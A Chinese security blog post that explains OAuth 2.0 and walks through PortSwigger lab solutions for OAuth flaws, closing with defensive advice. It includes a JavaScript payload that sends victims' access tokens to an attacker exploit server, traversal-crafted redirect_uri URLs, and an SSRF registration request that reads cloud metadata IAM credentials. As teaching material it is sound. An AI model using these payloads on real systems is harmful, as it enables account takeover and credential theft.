有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊
OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用
OAuth2.0简介
OAuth2.0是什么
OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议
OAuth2.0应用情景
•应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密
•应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理
•应用于开发平台场景中,对系统敏感资源进行安全认证和保护
密码与OAuth2.0
码与OAuth2.0
•密码与令牌(token)的作用是一样的,但令牌有其特点
–用户无法自己修改
–且一般来说token是短期的
–可以被所有者撤销
–token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限
•基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在
OAuth2.0运行流程和授权模式
首先了解一下大概结构
Client: 第三方应用
Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器
以下即为运行过程
![图片[1]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147300.png)
OAuth的授权模式有四种•授权码模式|authorization code•简化模式|implicit•密码模式|resource owner password credentials•客户端模式|client credentials在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据详情可见https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解OAuth2.0安全问题分析为什么出现问题OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会怎么判断是否使用OAuth2.0认证方法主要可以通过两点判断•对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数•是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证授权服务器认证绕过当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证•靶场 Lab: Authentication bypass via OAuth implicit flow•解法 进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证
![图片[2]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147301.png)
![图片[3]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473011.png)
可以尝试修改email和username
![图片[4]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147302.png)
Forward发送,发现token并没有进行内容绑定,成功login
![图片[5]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147303.png)
CSRF关联账号
造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数
这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
•靶场
Lab: Forced OAuth profile linking
•解法
我们先正常登录
![图片[6]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473031.png)
点击绑定social profile,对social media认证页面进行抓包,得到令牌code
![图片[7]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147304.png)
我们可以先直接带上访问一下试试
![图片[8]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473041.png)
这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证然后进入exploit修改body
![图片[9]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147305.png)
发送给受害者,而后重新登录social media
成功登录admin
![图片[10]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473051.png)
删掉carlos用户即可
CSRF获取敏感信息
我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code
与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定
•靶场
Lab: OAuth account hijacking via redirect_uri
•解法
我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面
![图片[11]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147306.png)
我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器
![图片[12]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473061.png)
![图片[13]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473062.png)
访问抓包
![图片[14]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147307.png)
callback
![图片[15]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473071.png)
可以看到host变成了我们的攻击服务器,这就是问题所在
我们进入exploit修改body
![图片[16]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147308.png)
修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下
![图片[17]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473081.png)
确认可以后发送给受害者,然后查看log,可以看到就能窃取到code
![图片[18]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147309.png)
然后根据包的发送流程,将code进行修改callback回去
![图片[19]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473091.png)
https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6
成功登录admin,删除用户就行通过开放重定向获取敏感信息与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权
•靶场
Lab: Stealing OAuth access tokens via an open redirect
•解法
抓包然后查找apikey,发现在/me路径,放入repeater
![图片[20]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473092.png)
测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞
![图片[21]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147310.png)
![图片[22]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473101.png)
进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试
![图片[23]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147311.png)
抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取
![图片[24]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473111.png)
我们修改url重定向回exploit
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
![图片[25]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473112.png)
进行访问,成功返回hello,world
![图片[26]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147312.png)
这样我们就可以编写script,让admin登录从而泄露token
if (!document.location.hash) { window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
![图片[27]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473121.png)
发送给受害者后进入access log,得到access_token
![图片[28]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147313.png)
将access_token替换到/me路径的Authorization: Bearer标头中的token
![图片[29]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473131.png)
发送即可得到apikey,提交即可危险传递、使用某些特定数据当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露•靶场 Lab: SSRF via OpenID dynamic client registration•解法 首先我们需要了解的是在OAuth服务开发中,存在这样一类文件
/.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json)
他们存储着一些相关的配置 我们尝试访问
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试,启动Burp Collaborator client
POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json { "redirect_uris" : [ "https://example.com" ], "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN" }
![图片[30]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473141.png)
发现可以成功携带数据
![图片[31]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473142.png)
当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据 /client/CLIENT-ID/logo
![图片[32]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147315.png)
那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下
POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json { "redirect_uris" : [ "https://example.com" ], "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" }
![图片[33]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-1661147316.png)
![图片[34]-OAuth2-0协议安全学习-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-185691-16611473161.png)
得到key防御总结•使用白名单检验redirect_url参数•检验state参数是否存在•ccess token和client_id是否匹配,同时验证access token的访问范围•修复client端的开放重定向漏洞,防止auth code的泄露参考文章•https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html•https://kuron3k0.github.io/2021/01/12/oauth-security/
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/185691.html
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下